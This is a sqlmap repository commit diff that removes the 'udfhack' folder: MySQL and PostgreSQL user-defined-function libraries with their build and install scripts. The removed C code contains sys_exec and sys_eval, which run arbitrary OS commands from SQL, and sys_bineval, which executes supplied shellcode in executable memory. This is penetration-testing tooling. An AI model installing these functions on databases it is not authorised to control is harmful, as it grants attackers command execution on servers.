mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
moved udfhack to its own repository, https://github.com/sqlmapproject/udfhack
This commit is contained in:
parent
19ff801d29
commit
c0b9cf539f
|
@ -1,7 +0,0 @@
|
||||||
Files in this folder can be compiled as shared libraries. These define
|
|
||||||
some user-defined functions (UDF) for MySQL and PostgreSQL. They are
|
|
||||||
licensed under the terms of the GNU Lesser General Public License and
|
|
||||||
their compiled versions are available on the official sqlmap subversion
|
|
||||||
repository[1].
|
|
||||||
|
|
||||||
[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/
|
|
|
@ -1,9 +0,0 @@
|
||||||
# For MySQL < 5.1
|
|
||||||
LIBDIR=/usr/lib
|
|
||||||
# For MySQL >= 5.1
|
|
||||||
#LIBDIR=/usr/lib/mysql/plugin
|
|
||||||
|
|
||||||
install:
|
|
||||||
gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
|
||||||
strip -sx lib_mysqludf_sys.so
|
|
||||||
cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
|
|
@ -1,47 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
# Copyright (C) 2007 Roland Bouman
|
|
||||||
# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
# web: http://www.mysqludf.org/
|
|
||||||
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
|
||||||
#
|
|
||||||
# This library is free software; you can redistribute it and/or
|
|
||||||
# modify it under the terms of the GNU Lesser General Public
|
|
||||||
# License as published by the Free Software Foundation; either
|
|
||||||
# version 2.1 of the License, or (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This library is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
# Lesser General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU Lesser General Public
|
|
||||||
# License along with this library; if not, write to the Free Software
|
|
||||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
|
|
||||||
# Adapt the following settings to your environment
|
|
||||||
USER="root"
|
|
||||||
PORT="3306"
|
|
||||||
|
|
||||||
echo "Compiling the MySQL UDF"
|
|
||||||
make
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: You need libmysqlclient development software installed"
|
|
||||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
|
||||||
echo "apt-get install libmysqlclient-dev"
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "MySQL UDF compiled successfully"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo -e "\nPlease provide your MySQL root password"
|
|
||||||
|
|
||||||
mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: unable to install the UDF"
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "MySQL UDF installed successfully"
|
|
||||||
fi
|
|
|
@ -1,567 +0,0 @@
|
||||||
/*
|
|
||||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2007 Roland Bouman
|
|
||||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
web: http://www.mysqludf.org/
|
|
||||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef STANDARD
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <time.h>
|
|
||||||
#ifdef __WIN__
|
|
||||||
typedef unsigned __int64 ulonglong;
|
|
||||||
typedef __int64 longlong;
|
|
||||||
#else
|
|
||||||
typedef unsigned long long ulonglong;
|
|
||||||
typedef long long longlong;
|
|
||||||
#endif /*__WIN__*/
|
|
||||||
#else
|
|
||||||
#include <my_global.h>
|
|
||||||
#include <my_sys.h>
|
|
||||||
#endif
|
|
||||||
#include <mysql.h>
|
|
||||||
#include <m_ctype.h>
|
|
||||||
#include <m_string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#ifdef HAVE_DLOPEN
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
|
||||||
|
|
||||||
#ifdef __WIN__
|
|
||||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
|
||||||
#else
|
|
||||||
#define SETENV(name,value) setenv(name,value,1);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_get
|
|
||||||
*
|
|
||||||
* Gets the value of the specified environment variable.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_set
|
|
||||||
*
|
|
||||||
* Sets the value of the environment variables.
|
|
||||||
* This function accepts a set of name/value pairs
|
|
||||||
* which are then set as environment variables.
|
|
||||||
* Use sys_get to retrieve the value of such a variable
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_exec
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its exit status.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_eval
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its standard output.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_bineval
|
|
||||||
*
|
|
||||||
* executes bynary opcodes.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/**
|
|
||||||
* lib_mysqludf_sys_info
|
|
||||||
*/
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
my_bool status;
|
|
||||||
if(args->arg_count!=0){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
|
||||||
);
|
|
||||||
status = 1;
|
|
||||||
} else {
|
|
||||||
status = 0;
|
|
||||||
}
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
strcpy(result,LIBVERSION);
|
|
||||||
*length = strlen(LIBVERSION);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count==1
|
|
||||||
&& args->arg_type[0]==STRING_RESULT){
|
|
||||||
initid->maybe_null = 1;
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char* value = getenv(args->args[0]);
|
|
||||||
if(value == NULL){
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
*length = strlen(value);
|
|
||||||
}
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count!=2){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly two arguments"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
if(args->arg_type[0]!=STRING_RESULT){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected string type for name parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
args->arg_type[1]=STRING_RESULT;
|
|
||||||
if((initid->ptr=malloc(
|
|
||||||
args->lengths[0]
|
|
||||||
+ 1
|
|
||||||
+ args->lengths[1]
|
|
||||||
+ 1
|
|
||||||
))==NULL){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Could not allocate memory"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
if (initid->ptr!=NULL){
|
|
||||||
free(initid->ptr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char *name = initid->ptr;
|
|
||||||
char *value = name + args->lengths[0] + 1;
|
|
||||||
memcpy(
|
|
||||||
name
|
|
||||||
, args->args[0]
|
|
||||||
, args->lengths[0]
|
|
||||||
);
|
|
||||||
*(name + args->lengths[0]) = '\0';
|
|
||||||
memcpy(
|
|
||||||
value
|
|
||||||
, args->args[1]
|
|
||||||
, args->lengths[1]
|
|
||||||
);
|
|
||||||
*(value + args->lengths[1]) = '\0';
|
|
||||||
return SETENV(name,value);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
return system(args->args[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
unsigned long outlen, linelen;
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(args->args[0], "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (!(*result) || result == NULL) {
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
*length = strlen(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
len = (size_t)strlen(args->args[0]);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, args->args[0], len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
strncpy((char *)addr, args->args[0], len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN64)
|
|
||||||
void __exec_payload(LPVOID);
|
|
||||||
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__exec_payload(lpParameter);
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* HAVE_DLOPEN */
|
|
|
@ -1,35 +0,0 @@
|
||||||
/*
|
|
||||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2007 Roland Bouman
|
|
||||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
web: http://www.mysqludf.org/
|
|
||||||
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
|
||||||
DROP FUNCTION IF EXISTS sys_get;
|
|
||||||
DROP FUNCTION IF EXISTS sys_set;
|
|
||||||
DROP FUNCTION IF EXISTS sys_exec;
|
|
||||||
DROP FUNCTION IF EXISTS sys_eval;
|
|
||||||
DROP FUNCTION IF EXISTS sys_bineval;
|
|
||||||
|
|
||||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
|
|
@ -1,21 +0,0 @@
|
||||||
LIBDIR=/tmp
|
|
||||||
|
|
||||||
9.0:
|
|
||||||
gcc -Wall -I/usr/include/postgresql/9.0/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
||||||
|
|
||||||
8.4:
|
|
||||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
||||||
|
|
||||||
8.3:
|
|
||||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
||||||
|
|
||||||
8.2:
|
|
||||||
gcc-4.3 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
|
@ -1,63 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
# Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
# web: http://bernardodamele.blogspot.com/
|
|
||||||
# email: bernardo.damele@gmail.com
|
|
||||||
#
|
|
||||||
# This library is free software; you can redistribute it and/or
|
|
||||||
# modify it under the terms of the GNU Lesser General Public
|
|
||||||
# License as published by the Free Software Foundation; either
|
|
||||||
# version 2.1 of the License, or (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This library is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
# Lesser General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU Lesser General Public
|
|
||||||
# License along with this library; if not, write to the Free Software
|
|
||||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
|
|
||||||
# Adapt the following settings to your environment
|
|
||||||
USER="postgres"
|
|
||||||
#PORT="5435"
|
|
||||||
#VERSION="9.0"
|
|
||||||
PORT="5434"
|
|
||||||
VERSION="8.4"
|
|
||||||
#PORT="5433"
|
|
||||||
#VERSION="8.3"
|
|
||||||
#PORT="5432"
|
|
||||||
#VERSION="8.2"
|
|
||||||
|
|
||||||
echo "Compiling the PostgreSQL UDF"
|
|
||||||
make ${VERSION}
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: You need postgresql-server development software installed"
|
|
||||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
|
||||||
|
|
||||||
if test "${VERSION}" == "8.2"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-8.2"
|
|
||||||
elif test "${VERSION}" == "8.3"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-8.3"
|
|
||||||
elif test "${VERSION}" == "8.4"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-8.4"
|
|
||||||
elif test "${VERSION}" == "9.0"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-9.0"
|
|
||||||
fi
|
|
||||||
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "PostgreSQL UDF compiled successfully"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
|
||||||
|
|
||||||
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: unable to install the UDF"
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "PostgreSQL UDF installed successfully"
|
|
||||||
fi
|
|
|
@ -1,277 +0,0 @@
|
||||||
/*
|
|
||||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
web: http://bernardodamele.blogspot.com/
|
|
||||||
email: bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define _USE_32BIT_TIME_T
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#define BUILDING_DLL 1
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <postgres.h>
